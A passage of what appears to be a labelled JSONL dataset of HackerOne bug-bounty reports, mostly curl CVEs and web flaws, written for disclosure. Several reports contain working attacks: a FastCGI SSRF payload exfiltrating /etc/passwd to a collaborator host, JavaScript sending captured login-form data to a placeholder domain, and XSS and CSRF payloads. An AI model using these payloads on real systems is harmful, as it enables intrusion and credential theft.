crl -out testcrl.pem`\n2. `curl -v https://curl.se -: --crlfile crlfile.pem https://curl.se`\n\nThe crlfile.pem use should result in `curl: (60) SSL certificate problem: unable to get certificate CRL` but is ignored since previous connection is reused.\n\nWith curl built against Schannel and revoked certificate:\n1. `curl -v --ssl-no-revoke https://revoked.grc.com -: https://revoked.grc.com`\n\nSecond connection will reuse the existing connection even though revocation check is no longer requested.\n\n## Note:\n\nThere may be more options that might have the similar issues. These were the most obvious I could see (ones having obvious security impact).\n\n## Impact\n\nWrong identity (client certificate) or TLS security options being used for subsequent connections to the same hosts.", "source": "hackerone", "timestamp": "2022-05-11", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "02c5e9e7a8855cd59cd2", "text": "[Server-Side Request Forgery (SSRF)] mail.acronis.com is vulnerable to zero day vulnerability CVE-2022-41040\n\nHello Acronis team,\n\nPlease run\n\ncurl -ksL -m5  -o /dev/null -I -w \"%{http_code}\" \"https://mail.acronis.com/autodiscover/autodiscover.json?Email=autodiscover/autodiscover.json@outlook.com&Protocol=ActiveSync\"\ncurl -ksL -m5 \"https://mail.acronis.com/autodiscover/autodiscover.json?Email=autodiscover/autodiscover.json@outlook.com&Protocol=ActiveSync\" | grep Protocol\n\n\nand get following output\n\n404 and {\"Protocol\":\"ActiveSync\",\"Url\":\"https://eas.outlook.com/Microsoft-Server-ActiveSync\"}\n\nProving that  mail.acronis.com is vulnerable to CVE-2022-41040\n\nPoc video attached\n\n## Impact\n\nSSRF can be used to for unauthorized actions or access to confidential data.", "source": "hackerone", "timestamp": "2022-10-13", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "752a99b6493f5bad56be", "text": "[Business Logic Errors] CVE-2022-27778: curl removes wrong file on error\n\n## Summary:\nCurl command has a logic flaw that results in removal of a wrong file when combining  `--no-clobber` and `--remove-on-error` if the target file name exists and an error occurs.\n\n## Steps To Reproduce:\n  1. `echo \"important file\" > foo`\n  2. `echo -ne \"HTTP/1.1 200 OK\\r\\nContent-Length: 666\\r\\n\\r\\nHello\\n\" | nc -l -p 9999`\n  3. `curl -m 3 --no-clobber --remove-on-error --output foo http://testserver.tld:9999/`\n  4. `ls -l foo*`\n  5. `cat foo.1`\n\n`-m 3` is used here to simulate a denial of service of the connection performed by the attacker.\n\nThe bug appears to happen because the remote-on-error `unlink` is called without considering the no-clobber generated file name:\n- no-clobber name generation; https://github.com/curl/curl/blob/3fd1d8df3a2497078d580f43c17311e6f58186a1/src/tool_cb_wrt.c#L88\n- remove-on-error unlink: https://github.com/curl/curl/blob/f7f26077bc563375becdb2adbcd49eb9f28590f9/src/tool_operate.c#L598\n\n## Impact\n\nRemoval of a file that was supposed not to be overwritten (data loss). Incomplete file left of disk when it should have been removed. This can lead to potential loss of integrity or availability.\n\nFor this attack to work the attacker of course would need to know a scenario where the victim is performing curl operation with  `--no-clobber` `--remove-on-error`  options.", "source": "hackerone", "timestamp": "2022-05-11", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "925359b67ab07a2fe00d", "text": "[Authentication Bypass by Primary Weakness] CVE-2023-27536: GSS delegation too eager connection re-use\n\n## Summary:\nWhen considering reuse of existing connections different `CURLOPT_GSSAPI_DELEGATION` (libcurl) `--delegation` (curl)  option is not taken into consideration. This can lead to reuse of previously established connection when it should no longer be (as more strict or no delegation was requested).\n\n## Steps To Reproduce:\n\n  1.  `curl --negotiate -u : --delegation \"always\" https://server/path -: --negotiate -u : --delegation \"none\" https://server/path`\n\n## Remediation\n\n- Safest option is to not reuse connections if different `CURLOPT_GSSAPI_DELEGATION` levels are being used. It **might** also be correct to not reuse connections with \"laxer\" `CURLOPT_GSSAPI_DELEGATION`: \"none\" should only allow reusing \"none\" level, \"policy\" should only allow \"none\" or \"policy\" level, while \"always\" can reuse all connections otherwise deemed appropriate for reuse.\n\n## Impact\n\nExisting connection that was established via more lax delegation will be reused for connection that should not succeed due to more restrictive delegation requested. The practical impact can vary, but I believe it is likely quite low, as it should be quite rare to have connections attempted with mixed delegation policies like this.", "source": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "592c509336fa825c4353", "text": "[Improper Access Control - Generic] Github base action takeover which is used in `github.com/Shopify/unity-buy-sdk`\n\n## Summary:\nShopify have a github repository https://github.com/Shopify/unity-buy-sdk\nIn the repository there is a github action, which is used a base action from an external github repository.\nThat github account as not registered on github.com\nSo I was able to takeover the account and host PoC.\n\n## Shops Used to Test:\nNA\n\n## Relevant Request IDs:\nNA\n\n## Steps To Reproduce:\n\n  1. Go to https://github.com/Shopify/unity-buy-sdk/blob/master/.github/workflows/build.yml#L71\n  2. You will see this github repository `MirrorNG/unity-runner` getting used as base action at line 71\n  3. Try accessing the github repository https://github.com/MirrorNG/unity-runner you will be redirected to https://github.com/MirageNet/unity-runner\n  4. This happens when github organization name or username is renamed, github redirects all the old urls to new github account\n  5. But with this, the old github username becomes available for anyone to register and when someones registers it the redirection will stop and all links will open newly created repositories.\n  6. Try accessing the github organization https://github.com/MirrorNG you will see takeover message\n\n**Note:** I haven't taken over the repository, so as to avoid breaking the existing action as its getting used.\n\n## Supporting Material:\n\n- https://github.com/Shopify/unity-buy-sdk/blob/master/.github/workflows/build.yml#L71\n- https://github.com/MirrorNG\n\n{F1565368}\n\n## Reference\n\nhttps://hackerone.com/reports/1087489\n\n## Impact\n\nAn attacker can takeover the github account and host malicious action on it, when any any pull request is sent on the repository, it will end up running the action and you can see below screenshot, unity credentials are getting passed to that action. Action will get access to shopify's credentials.\n\n{F1565369}\n\nAlso, since github actions can create github tokens for use at run time using `${{ secrets.GITHUB_TOKEN }}` an attacker can get access to all the private repositories of the organization", "source": "hackerone", "timestamp": "2022-07-12", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "2383d258afd4283c1692", "text": "[Uncontrolled Resource Consumption] Missing character limitation allows to put generate a database error\n\nHi Security Team,\nSummary:\n=========\nThere is no limit to the number of characters in the display name, which allows a DoS attack. The DoS attack affects server-side.\nDescription\n=========\nOn the input form of Username in nextcloud.com/settings/user there's no Input validation using this you can send more payload and may cause of Denial of service or error code 500 Internal Server Error/Internal Error\nProof of Concept\n==============\n1.Go and login to your account\n2. Now go to setting and Deck ---> Add Boards section\n3.Insert name and intercept it\n4. Send to repeater replace it with payload the response code on the server side is 500 Internal Server Error\n\n## Impact\n\nImpact\n=======\nRemediation:\n===========\n+Implementing input validation\n+Validating free-form Unicode text\n+Define the allowed set of characters to be accepted.\n+Minimum and maximum value range\nImpact\n======\nAttacker can perform a DOS because of lack of input validation", "source": "hackerone", "timestamp": "2023-01-09", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "344c9ef67d357b6796ca", "text": "[Cross-site Scripting (XSS) - Reflected] XSS on link and window.opener\n\nHi possible xss and error when clicking on the link .\n\n`<form name=\"pisarenko\" action=\"https://api.slack.com/feedback/submit\" method=\"POST\">\n<input type='hidden' name='crumb' value=\"1\"> \n<input type='hidden' name='path' value=\"javascript:alert()\"> \n<input type='hidden' name='vote' value=\"Yes\"> \n</form>\n<script>document.pisarenko.submit();</script>`\n\nor \n\n`<form name=\"pisarenko\" action=\"https://api.slack.com/feedback/submit\" method=\"POST\">\n<input type='hidden' name='crumb' value=\"1\"> \n<input type='hidden' name='path' value=\"https://servisvk.com/exploit/opener.php\"> \n<input type='hidden' name='vote' value=\"Yes\"> \n</form>\n<script>document.pisarenko.submit();</script>`\n\n## Impact\n\nRedirection from the original site to an evil site or execution of js code\n\nPlease check that the domain is `slack`\n\n{F765317}", "source": "hackerone", "timestamp": "2023-01-23", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "bc508ef2ce1fbc21b4a8", "text": "[HTTP Request Smuggling] CVE-2022-32215 - HTTP Request Smuggling Due to Incorrect Parsing of Multi-line Transfer-Encoding\n\nOriginal Report: https://hackerone.com/reports/1501679\n\n## Impact\n\nDepending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.", "source": "hackerone", "timestamp": "2022-07-22", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "627274b26f7d55c0c342", "text": "[Unknown] [CVE-2023-38546]  cookie injection with none file\n\nhttps://hackerone.com/reports/2148242\n\n## Impact\n\ncookie injection into a program using libcurl, if several conditions are met", "source": "hackerone", "timestamp": "2023-11-23", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "7c72b0a61caa5c1ddf4e", "text": "[Improper Input Validation] CVE-2022-35252: control code in cookie denial of service\n\nhttps://hackerone.com/reports/1613943\n\n## Impact\n\ncontrol code in cookie denial of service", "source": "hackerone", "timestamp": "2022-11-05", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "011f2c92d2d361cd1535", "text": "[Improper Access Control - Generic] CVE-2023-40611: Apache Airflow Dag Runs Broken Access Control Vulnerability\n\n##Description:\n\nApache Airflow, versions before 2.7.1, is affected by a vulnerability that allows authenticated and DAG-view authorized Users to modify some DAG run detail values when submitting notes. This could have them alter details such as configuration parameters, start date, etc.\n\nUsers should upgrade to version 2.7.1 or later which has removed the vulnerability.\n\n##Vulnerability Exploitation:\n\n1.Select Browse-->DAG Runs, we can see the Dag Run list.\n\n{F2691945}\n\n2.Select a Dag, and edit it.\n\n{F2691944}\n\n3. We can see that the Conf parameter text box is gray and cannot be edited. The current user does not have permission to modify the Conf value.\n\n{F2691946}\n\n4.Click Save to intercept the request message and modify the parameter value of Conf to \"1111111111111\".\n\n{F2691948}\n\n5.Successfully modified beyond permission.\n\n{F2691947}\n\n## Impact\n\nBroken Access Control", "source": "hackerone", "timestamp": "2023-10-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "fc8330e0ffc15652fe59", "text": "[Uncontrolled Resource Consumption] CVE-2023-46695: Potential denial of service vulnerability in UsernameField on Windows\n\nIn Django versions before 4.2.7, 4.1.13, and 3.2.23, I sent a POST request to the admin login page using Burp Suite, editing the request to send over 1 million invalid unicode characters to my local  web server running Django. (I used: \"¾\")\nAfter submitting, a single request took 4.4 seconds on average.\nWhen I sent 20 concurrent requests, then I got 60 second wait times, and 504 gateway timeout errors on my machine.\n{F2871465}\nNormal ascii characters don't do this and the page loads instantly.\n\n## Impact\n\nDenial of Service anywhere a form contains a UsernameField that checks for errors.", "source": "hackerone", "timestamp": "2023-11-29", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "d10cdfabd6c9a604d6a2", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS on www.hackerone.com due to deleted S3-bucket from old page_widget\n\nHi,\n\nI hope you all are good! Here's a funny little bug :) I tried making the most out of it and hope you'll like it.\n\nAs you probably know, you're proxying `https://www.hackerone.com/resources` to `read.uberflip.com`. Uberflip has done a great job isolating content for hubs between custom domains pointing to them, so it wasn't that easy to find something interesting here. However, after a while I noticed that there's an old concept called \"page widgets\" that are still present cross-customers for Uberflip under `/read/page_widget/XXX` where `XXX` is a numeric ID of a widget.\n\nI have no idea how these page widgets are created, but a lot of them seem old. Like, *really* old. Most of them used `http` to load any additional assets which prevented `https://www.hackerone.com` from loading any of the HTTP-assets, but after some digging I did find a few widget-IDs that  used HTTPS to load javascript.\n\nOne of those widgets looked like this:\n\n```html\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n<meta name=\"robots\" content=\"noindex, nofollow\">\n<title>Flipbook Widget</title></head>\n<body style=\"margin:0; padding:0; background:transparent; overflow:hidden;\"><div id=\"widget\" style=\"float:left;\"> <script id='vspoverlayrun'\n\ncodecredit='CopyRight_VSPWorldwide_Productions'\nvideofolder='hosted'\nprojectname='vmags43_overlay'\nalignvideo='bottommiddle'\noffsetx='0'\noffsety='0'\nwaittime='1000'\nautoplay='yes'\nvideowidth='300'\nvideoheight='480'\nvideoscale='1'\nvideoscalemobile='1'\nposterscale='0.5'\nclickvideo='close'\nautodim='0'\nautodimcolor='#000000'\n\nsrc='https://s3.amazonaws.com/vspcode/vspoverlayrun1.js'></script></div></body></html>\n```\n\nWhat was funny with this one was that the S3-bucket `vspcode` did not exist. I could now claim this bucket and run javascript on `https://www.hackerone.com`:\n\n```\n$ aws s3api create-bucket --profile frans --bucket vspcode\n{\n    \"Location\": \"/vspcode\"\n}\n\n$ echo \"alert(document.domain + ':' + location.href);\" > vspoverlayrun1.js\n\n$ aws s3 cp vspoverlayrun1.js s3://vspcode/ --acl public-read --profile frans\n\nupload: ./vspoverlayrun1.js to s3://vspcode/vspoverlayrun1.js\n```\n\nI could then visit the widget and see:\n\n{F1771181}\n\nAs you're already aware, the `www`-subdomain is still isolated from the app-domain at `https://hackerone.com`. However, the concept of separating an app using `www` vs apex is – I would say – not a standard concept at all. This means that for example password managers will actually help the user by still suggesting auto completion on `www` if the saved login is on the apex-domain. This applies for example both to Safari and Chrome:\n\n{F1771182}\n\n{F1771183}\n\nSo I made a javascript that will replace the full content of the page with the sign-in-form of `https://hackerone.com`. The only difference is that it'll log any events interacting with the inputs:\n\n```js\nhistory.pushState('','Sign in', 'https://www.hackerone.com/users/sign_in')\nfunction log() { \n var x = new FormData(document.forms[0]);\n (new Image()).src='https://MY-DOMAIN/hackerone/?' + btoa(JSON.stringify(Object.fromEntries(x.entries())))\n};\ndocument.body.parentElement.innerHTML = 'login-page-of-hackerone.com';\n```\n\nThis allows me to see any actions taken or any auto-completion triggering on these forms on my own host:\n\n{F1771184}\n\n### PoC\n\nHere's how my page looks like:\n\n{F1771180}\n\nHere's a video showing the concept of loading the website:\n\n{F1771179}\n\nAnd here's the vulnerable URL:\n\n```\nhttps://www.hackerone.com/resources/read/page_widget/413780\n```\n\nRegards,\nFrans\n\n## Impact\n\n#", "source": "hackerone", "timestamp": "2023-03-10", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "1014071f2707fed4c4ec", "text": "Sielco Radio Link 2.06 'id' Cookie Brute Force Session Hijacking\n\nSeverity: high", "source": "zeroscience", "timestamp": "2023-03-30", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "a4be3d1d2a2d59c39ab1", "text": "[Misconfiguration] Outdated Copyright Message @ Welcome email\n\nPOC :\n\nDescription : Outdated Copyright is present @ Welcome to UPchieve! email  which is of years \"2020\"\n\nImpacted Security Property : Integrity\n\nASVS Categories : Architecture , Design and Threat Modeling\n\nPOC email and video :  Gmail - Welcome to UPchieve!.pdf and recording-1632912432386.webm \n\nSuggested Remediation : Year mentioned in the copyright should be updated to the current one and at present it is 2021\n\n@thug645\n\n## Impact\n\nIt will create bad branding impression in front of stake holders.", "source": "hackerone", "timestamp": "2022-03-26", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "87bd2662abb7d7dd7d18", "text": "[Modification of Assumed-Immutable Data (MAID)] Prototype pollution via console.table properties\n\n**Summary:**\n\nAttacker control of the second `properties` parameter of `console.table` may lead to prototype pollution.\n\n**Description:**\n\nDue to the formatting logic of the `console.table` function it is not safe to allow user controlled input to be passed to the `properties` parameter while simultaneously passing a plain object with at least one property as the first parameter.\n\nThe prototype pollution has very limited control, in that it only allows an empty string to be assigned numerical keys of the object prototype.\n\n## Steps To Reproduce:\n\nThe vulnerability can be reproduced in the Node.js REPL, tested with version `v16.7.0`:\n\n  1. Run the following: `console.table({foo: 'bar'}, ['__proto__'])`\n  2. Verify that the object prototype has been polluted: `Object.prototype[0] === ''`\n\nThe pollution will vary depending on the number of properties on the object passed as the first parameter, with each additional property assigning another incrementing index of the object prototype. This means that if the first parameter is also controlled by the attacker, it is possible to assign empty strings from `0..n` to the object prototype, for any `n`:\n\n```\n> console.table({a: 1, b: 1, c: 1}, ['__proto__'])\nUncaught TypeError: Cannot create property '0' on string ''\n\n> Object.prototype\n[Object: null prototype] { '0': '', '1': '', '2': '' }\n```\n\nThe vulnerable assignment can be found [here](https://github.com/nodejs/node/blob/3f7dabdfdc9e2a3cd3f92e377755c0dd43f6751b/lib/internal/console/constructor.js#L576) in the Node.js `console.table` implementation.\n\nA suggested remediation is to ignore `properties` named `'__proto__'`, or to use a different data structure to store the computed table fields. For example:\n\n```diff\n const keys = properties || ObjectKeys(item);\n for (const key of keys) {\n+  if (key === '__proto__') {\n+    continue\n+  }\n   if (map[key] === undefined)\n     map[key] = [];\n```\n\n## Impact:\n\nUsers of `console.table` have no reason to expect the danger of passing on user input to the second `properties` array, and may therefore do so without sanitation. In the even that for example a web server is exposed to this vulnerability, it is likely to be a very effective denial of service attack. In extremely rare cases the prototype pollution can lead to more severe attack vectors such as bypassing authorization mechanisms, although due to limited control of the pollution this is unlikely.\n\n## Supporting Material/References:\n\n  * [CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')](https://cwe.mitre.org/data/definitions/1321.html)\n  * [The vulnerable assignment](https://github.com/nodejs/node/blob/3f7dabdfdc9e2a3cd3f92e377755c0dd43f6751b/lib/internal/console/constructor.js#L576)\n\n## Impact\n\nUsers of `console.table` have no reason to expect the danger of passing on user input to the second `properties` array, and may therefore do so without sanitation. In the even that for example a web server is exposed to this vulnerability, it is likely to be a very effective denial of service attack. In extremely rare cases the prototype pollution can lead to more severe attack vectors such as bypassing authorization mechanisms, although due to limited control of the pollution this is unlikely.", "source": "hackerone", "timestamp": "2022-01-11", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "c0a184abec879b9fa380", "text": "[Use After Free] Occasional use-after-free in multi_done() libcurl-7.81.0\n\nWe are seeing the use of a `struct connectdata *` on a thread after it was returned to the connection cache (and thus available for use on other threads including potential deallocation) in `multi_done()` in libcurl-7.81.0.  This could occasionally result in an actual use-after-free, witnessed on Windows 10 platform.\n\n## Steps To Reproduce:\n- [`multi_done()` line 717](https://github.com/curl/curl/blob/curl-7_81_0/lib/multi.c#L717) a call is made to `Curl_conncache_return_conn()`\n- `Curl_conncache_return_conn()` returns `TRUE` (conn was returned to the cache and available for use in other threads) and execution continues on [line 719](https://github.com/curl/curl/blob/curl-7_81_0/lib/multi.c#L719) where the code derefs the now unowned `conn` to get the `connection_id`\n- We have a fork with a [commit](https://github.com/luminixinc/curl/commit/e8560cb3a2aa0c104d1afcc77490b70bad1ce9cd) that both tests (inline, not formally) and offers a potential fix for this issue.\n- See attached screenshot showing assert firing in debug build\n\n## Impact\n\nUnsure.\n\nI'm not a hacker, and would have been happy to submit this as a GitHub issue instead, but _discretion being the better part of valor_, decided to post this issue here instead :)\n\nTangentially, I do not care to get credit or receive a bounty for this issue.  Would be great to get this fixed as I suggested or in some other manner, thanks!", "source": "hackerone", "timestamp": "2022-03-09", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "33aafe89e6267dc3395d", "text": "Osprey Pump Controller 1.0.1 (pseudonym) Semi-blind Command Injection\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2023-02-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "9beec8bf1da61cf6e415", "text": "[Cross-site Scripting (XSS) - Stored] Stored Cross Site Scripting at http://www.grouplogic.com/ADMIN/store/index.cfm?fa=disprocode\n\n## Summary\nThe application exposes store ADMIN page at below URL and is accessible without authentication. \n```\nhttp://www.grouplogic.com/ADMIN/store/index.cfm\n```\nThe ADMIN page provides several functionalities.  Among them the below functionality is found to be vulnerable to stored XSS.\n- View and Edit Promo Code (http://www.grouplogic.com/ADMIN/store/index.cfm?fa=disprocode)\n\n\n## Steps To Reproduce\n1. Navigate to  below URL to access the store admin page without authentication.\n```\nhttp://www.grouplogic.com/ADMIN/store/index.cfm\n```\n2. Navigate to promo codes section. (http://www.grouplogic.com/ADMIN/store/index.cfm?fa=disprocode)\n3. Edit any promo code.\n4. Add any of below payload in the Promo Code field.\n```\nPayload 1:\n----------\n<h1 onmouseover=alert(document.domain)>XSS</h1>\n\nPayload 2:\n----------\n<img src=x onerror=alert(1)>\n```\n5. Click the Edit Promo Code Button to save modified the promo code.\n6. Navigating again to the promo code page, in case of payload 1, XSS string is rendered, hovering mouse over it triggers xss. In case of payload 2, as soon as the promo code page is opened, xss triggers.\n\n## Recommendations\nIt is highly recommended to implement output encoding.  \nEncode the following characters with HTML entity encoding to prevent switching into any execution context, such as script, style, or event handlers. Using hex entities is recommended in the spec. The 5 characters significant in XML``` (&, <, >, \", ')```:\n\n```\n & --> &amp;\n < --> &lt;\n > --> &gt;\n \" --> &quot;\n ' --> &#x27;\n```\nReference: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\n\n## Impact\n\nXSS can be  used to :\n- Steal cookies, password\n- Website Defacement\n- Redirect Victim to Malicious site \n- Log keystrokes etc.", "source": "hackerone", "timestamp": "2022-06-07", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "132fa0611035a6ae858f", "text": "[Server-Side Request Forgery (SSRF)] SSRF + RCE через fastCGI в  POST /api/nr/video\n\nDomain, site, application\n--\napp.nativeroll.tv\n\n\nSteps to reproduce\n--\n1. Традиционно нужен аксес токен от аккаунта паблишера, можно зарегистрировать здесь https://seedr.ru/register-user/publisher\n2. Войти как паблишер https://seedr.ru/login/publisher\n3. Поперехватывать запросы, получить токен.\n4. Скачать тулзу https://github.com/tarunkant/Gopherus, запустить \n```\n./gopherus.py --exploit fastcgi\n```\nНа первый вопрос просто нажать Энтер (сработает дефолтный файл), во втором: вбить команду для исполнения. \nВ моем случае ```curl -F file=@/etc/passwd 9nxvmc3h8ym4rye1jwur68tc137xvm.burpcollaborator.net/rce```\n\nПример вывода утилиты: \n```\ngopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH133%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%85%04%00%3C%3Fphp%20system%28%27curl%20-F%20file%3D%40/etc/passwd%209nxvmc3h8ym4rye1jwur68tc137xvm.burpcollaborator.net/rce%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00\n```\nОбратите внимание, что при смене команды для исполнения нужно заново вызывать утилиту и задавать команду там, редачить прямо в этом выводе может не сработать, т.к. протокол бинарный и там есть неочевидные вещи.\n\n5. На своем сервере установить скрипт, который редиректит по полученному из утилиты адресу. Мой пример\n```\n<?php\nheader('Location: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH133%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%85%04%00%3C%3Fphp%20system%28%27curl%20-F%20file%3D%40/etc/passwd%209nxvmc3h8ym4rye1jwur68tc137xvm.burpcollaborator.net/rce%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00');\n?>\n\n```\n\n6. Отправить следующий запрос (здесь мои данные, нужно заменить значения access_token и tag на ваш токен и ваш сервер с вашим скриптом).\n```\nPOST /api/nr/video?access_token=e3c0d2382d0486f400cf5ab8490c370877397e13 HTTP/1.1\nHost: app.nativeroll.tv\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 86\n\ndata={\"type\":\"VAST\",\"name\":\"test\",\"tag\":\"http://eb65-109-235-218-134.ngrok.io/r2.php\"}\n```\n\nПолучаем отбивку с содержимым /etc/passwd с IP адреса 95.213.212.220. При желании легко добивается до полноценного шелла.\n\nЕще раз обращаю внимание, что ССРФ в данном энвайронменте являются критично опасными, даже слепые, и напоминаю о репортах №1346760 и №1348109, сейчас там уже не работает даже просто ССРФ, но нет причин думать, что такая же техника не сработала бы.\n\n## Impact\n\nАтакующий может исполнять произвольные команды на сервере от имени пользователя www-data со всеми вытекающими последствиями.", "source": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "fb379afed4befca710ae", "text": "[Violation of Secure Design Principles] Web Cache poisoning attack leads to User information Disclosure and more\n\nHello\n\nYour Web-Server is vulnerable to web cache poisoning attacks.\nThis means, that the attacker are able to get another user Information.\n\nIf you are logged in and visit this website (For example):\nhttps://www.lyst.com/shop/trends/mens-dress-shoes/blahblah.css\n\nThen the server will store the information in the cache, BUT with the logged in user information.\nA non-logged-in user can then visit this website and see the information contained therein.\n\nIn that case, this url: https://www.lyst.com/shop/trends/mens-dress-shoes/blahblah.css can be visited in Private Mode and still you will be shown as \"LOGGED IN\" and then check the Source code you will get your email, member id ,etc..\n\n\nSome informations about the attack:\nhttps://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web-Cache-Deception-Attack.pdf\n\nThe screenshots with the steps are in the attachments.\n\n## Impact\n\nWeb cache poisoning attack can be used to steal user informations like email, name and member id which is important for the login security feature.", "source": "hackerone", "timestamp": "2022-03-22", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "6c67a08aa34719fa18e8", "text": "[Missing Required Cryptographic Step] CVE-2022-30115: HSTS bypass via trailing dot\n\ncurl allows users to load a HSTS cache which will cause curl to use HTTPS instead of HTTP given a HTTP URL for a given site specified in the HSTS cache.\n\nIf the trailing dot is used, the HSTS check will be bypassed.\n\nIf a user has a preloaded hsts.txt:\n``````  \n# Your HSTS cache. https://curl.se/docs/hsts.html\n# This file was generated by libcurl! Edit at your own risk.\naccounts.google.com \"20230503 08:47:52\"\n``````  \n\nDoing the following:\n``````\ncurl --hsts hsts.txt http://accounts.google.com.\n``````\n\nWill cause accounts.google.com to be loaded over HTTP\n``````\n<HTML><HEAD><meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">\n<TITLE>301 Moved</TITLE></HEAD><BODY>\n<H1>301 Moved</H1>\nThe document has moved\n<A HREF=\"http://accounts.google.com/\">here</A>.\n</BODY></HTML>\n``````\n\nThis issue has been raised in other HTTP clients before such as in https://bugs.chromium.org/p/chromium/issues/detail?id=461481 and https://www.mozilla.org/en-US/security/advisories/mfsa2015-13/\n\n## Impact\n\nHSTS bypass", "source": "hackerone", "timestamp": "2022-05-11", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "64193d3a5217fed80880", "text": "[Business Logic Errors] CVE-2023-23915: HSTS amnesia with --parallel\n\ncurl's HSTS cache saving behaves wrongly when multiple URLs are requested in parallel.\n\nUsing its HSTS support, curl can be instructed to use HTTPS instead of using an insecure clear-text HTTP step even when HTTP is provided in the URL. This HSTS mechanism would however surprisingly fail when multiple transfers are done in parallel as the HSTS cache file gets overwritten by the most recently completed transfer.\n\nA later HTTP-only transfer to the earlier host name would then not get upgraded properly to HSTS.\n\n## Impact\n\nBypass intended security control.", "source": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "72e750a26781a7f7e964", "text": "[Allocation of Resources Without Limits or Throttling] CVE-2022-32206: HTTP compression denial of service\n\ncurl supports \"chained\" HTTP compression algorithms, meaning that a server response can be compressed multiple times and potentially with different algorithms. The number of acceptable \"links\" in this \"decompression chain\" was unbounded, allowing a malicious server to insert a virtually unlimited number of compression steps.\n\nThe use of such a decompression chain could result in a \"malloc bomb\", making curl end up spending enormous amounts of allocated heap memory, or trying to and returning out of memory errors.\n\n## Impact\n\nDenial of service", "source": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "c9b705efef6a7597787c", "text": "[Improper Authentication - Generic] CVE-2022-22576: OAUTH2 bearer bypass in connection re-use\n\n## Summary:\nA cached connection authenticated with the OAUTH2 mechanisms can be reused by a subsequent request even if the bearer is not correct.\nThis affects SASL-enabled protcols: SMPTP(S), IMAP(S), POP3(S) and LDAP(S) (openldap only).\n\nAn application that can be accessed by more than one user (such as a webmail server) would be affected by this flaw.\n\n## Steps To Reproduce:\n`curl 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer validbearer --next 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer anything`\n\n## Supporting Material/References:\n  * Patch 0001-url-check-sasl-additional-parameters-for-connection-.patch fixes this flaw.\n\nAs an alternative to apply the patch, use another (unused) password within each request: the second request in the command below will properly fail.\n`curl 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user:dummy1 --oauth2-bearer validbearer --next 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user:dummy2 --oauth2-bearer 